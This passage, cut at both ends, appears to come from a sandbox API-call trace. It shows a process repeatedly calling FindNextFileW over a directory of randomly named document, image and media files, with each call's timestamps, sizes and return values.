ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x164b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="pLGCqUlBqdCyIjLjqV.doc", cAlternateFileName="")) returned 1 [0139.847] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc484, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oq2biITomiSUVed.odt", cAlternateFileName="")) returned 1 [0139.848] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449625fd, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf183, dwReserved0=0x0, dwReserved1=0x0, cFileName="03oNIO07eJKfFtSq1le.pdf", cAlternateFileName="")) returned 1 [0139.848] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="s6dEvdGK0.pptx", cAlternateFileName="")) returned 1 [0139.848] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x79d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqAk5x9DCd1vbqL.xls", cAlternateFileName="")) returned 1 [0139.848] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xff02, dwReserved0=0x0, dwReserved1=0x0, cFileName="les739ApbVb9h5NbQG.png", cAlternateFileName="")) returned 1 [0139.850] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9180, dwReserved0=0x0, dwReserved1=0x0, cFileName="0c5f9ps.odt", cAlternateFileName="")) returned 1 [0139.850] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf510, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUAALsfvQ.odp", cAlternateFileName="")) returned 1 [0139.850] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x107bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="IyGa2UNby.ots", cAlternateFileName="")) returned 1 [0139.850] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xce96, dwReserved0=0x0, dwReserved1=0x0, cFileName="NrdJUxDyhDG3y7Oab1mj.flv", cAlternateFileName="")) returned 1 [0139.850] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HwIsy.png", cAlternateFileName="")) returned 1 [0139.852] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYsglM.bmp", cAlternateFileName="")) returned 1 [0139.852] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbb11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mro5NomIUcrU.gif", cAlternateFileName="")) returned 1 [0139.853] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17ae3, dwReserved0=0x0, dwReserved1=0x0, cFileName="6IeyZTL6ti1EIr3r.csv", cAlternateFileName="")) returned 1 [0139.853] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xe624, dwReserved0=0x0, dwReserved1=0x0, cFileName="XP77ZtgAwnoAMmLb.odt", cAlternateFileName="")) returned 1 [0139.853] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z5eu5ng8aXBTiqaLM.odt", cAlternateFileName="")) returned 1 [0139.853] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1463b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cYAzuw.flv", cAlternateFileName="")) returned 1 [0139.854] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17088, dwReserved0=0x0, dwReserved1=0x0, cFileName="ouLbzd5zuNL.xlsx", cAlternateFileName="")) returned 1 [0139.854] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x95ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ziRSYvhMQo.gif", cAlternateFileName="")) returned 1 [0139.854] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1287d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ziDfPcXQbWyMR.mkv", cAlternateFileName="")) returned 1 [0139.856] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16553, dwReserved0=0x0, dwReserved1=0x0, cFileName="XsxuUpRBb.png", cAlternateFileName="")) returned 1 [0139.856] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11336, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZyT73XuoM.png", cAlternateFileName="")) returned 1 [0139.856] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x118b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="F2MyXNYBvTRkVNI7iEZq.ods", cAlternateFileName="")) returned 1 [0139.856] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="YfJ9v2Plxllw22M.pps", cAlternateFileName="")) returned 1 [0139.857] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x4fa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="17V0s09qqy.m4a", cAlternateFileName="")) returned 1 [0139.857] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="lhOcmpk4G7IYSvvb.gif", cAlternateFileName="")) returned 1 [0139.857] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x546b, dwReserved0=0x0, dwReserved1=0x0, cFileName="XAdhL2WimPIvd1az2SF4.avi", cAlternateFileName="")) returned 1 [0139.857] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13931, dwReserved0=0x0, dwReserved1=0x0, cFileName="f8MOguJ.mkv", cAlternateFileName="")) returned 1 [0139.857] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11953, dwReserved0=0x0, dwReserved1=0x0, cFileName="MvTzQbxzFuteK4.avi", cAlternateFileName="")) returned 1 [0139.857] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="woWNv.ods", cAlternateFileName="")) returned 1 [0139.858] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17183, dwReserved0=0x0, dwReserved1=0x0, cFileName="0sa57fW.pptx", cAlternateFileName="")) returned 1 [0139.858] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11e19, dwReserved0=0x0, dwReserved1=0x0, cFileName="O2TDqFynLaMJwyS.avi", cAlternateFileName="")) returned 1 [0139.858] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x4f21, dwReserved0=0x0, dwReserved1=0x0, cFileName="m2U2YlUMt.gif", cAlternateFileName="")) returned 1 [0139.858] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x10ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e8sPU7Zk.ots", cAlternateFileName="")) returned 1 [0139.860] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x86e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hRvB1xDrUsAHG.flv", cAlternateFileName="")) returned 1 [0139.860] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6047, dwReserved0=0x0, dwReserved1=0x0, cFileName="vnG2KifH.xlsx", cAlternateFileName="")) returned 1 [0139.860] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xcc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="foUlybK2h.xlsx", cAlternateFileName="")) returned 1 [0139.860] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="IZnOWmy.gif", cAlternateFileName="")) returned 1 [0139.860] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1FCq528Tci.avi", cAlternateFileName="")) returned 1 [0139.861] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xe48a, dwReserved0=0x0, dwReserved1=0x0, cFileName="6IOKuPykR.odp", cAlternateFileName="")) returned 1 [0139.861] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x758d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GeC6sbZ4BP3n.rtf", cAlternateFileName="")) returned 1 [0139.861] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x904d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICCtCDKhaB3ppqcf.pptx", cAlternateFileName="")) returned 1 [0139.861] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6825, dwReserved0=0x0, dwReserved1=0x0, cFileName="5IlHsHHuj.flv", cAlternateFileName="")) returned 1 [0139.861] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x18042, dwReserved0=0x0, dwReserved1=0x0, cFileName="YfrMVx7qN.pdf", cAlternateFileName="")) returned 1 [0139.863] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17472, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9DJzkehG84l5iXYb.rtf", cAlternateFileName="")) returned 1 [0139.863] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x113a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="arFxCRPaJOfVUXqGPh.pps", cAlternateFileName="")) returned 1 [0139.863] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, 